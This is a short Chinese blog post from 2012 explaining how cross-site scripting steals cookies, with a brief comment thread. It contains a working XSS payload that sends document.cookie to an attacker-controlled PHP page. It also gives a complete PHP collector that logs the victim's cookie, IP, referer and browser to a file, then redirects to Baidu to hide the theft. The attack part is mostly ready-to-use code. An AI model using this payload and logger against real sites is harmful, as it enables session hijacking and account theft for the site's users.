跨站提取cookie的原理

作者:hack1990 时间:12-02-03 阅读数:617人阅读

个人理解为跨站就意味着可以执行javascript代码,javascript利用Document文档对象的cookie属性就获取到了cookie,然后就可能利用cookie欺骗登陆。

 
跨站提取cookie的原理  等价于
如何从在浏览器中获取cookie + 发送cookie到指定url
 
比如:
“><script>document.location = ’http://localhost/test.php?cookie=’ + document.cookie;</script><img
 
依次使用了:
1.浏览器的DOM对象的cookie属性,获得了cookie值
2.将cookie值作为参数传递给localhost服务器上的test.php脚本,使用的是GET方式提交数据
3.利用document.location进行跳转,实际就是通过url访问实现数据提交
 
而test.php中的内容类似于:
<?php
 
$cookie = $_GET['cookie'];            //以GET方式获取cookie变量值
$ip = getenv (‘REMOTE_ADDR’);        //远程主机IP地址
$time=date(‘Y-m-d g:i:s’);            //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv (‘HTTP_REFERER’);    //链接来源
$agent = $_SERVER['HTTP_USER_AGENT'];    //用户浏览器类型
 
$fp = fopen(‘cookie.txt’, ’a');        //打开cookie.txt,若不存在则创建它
fwrite($fp,” IP: ” .$ip. ”\n Date and Time: ” .$time. ”\n User Agent:”.$agent.”\n Referer: ”.$referer.”\n Cookie: ”.$cookie.”\n\n\n”);    //写入文件
fclose($fp);    //关闭文件
 
header(“Location: http://www.baidu.com”);    //将网页重定向到百度,增强隐蔽性
 
?>
这些用户数据来源于HTTP数据包中的浏览器头部信息

评论列表

  •  
    CAD
    发布于 2012-02-03 17:30:38  回复
  • 黑客知识吗?

发表评论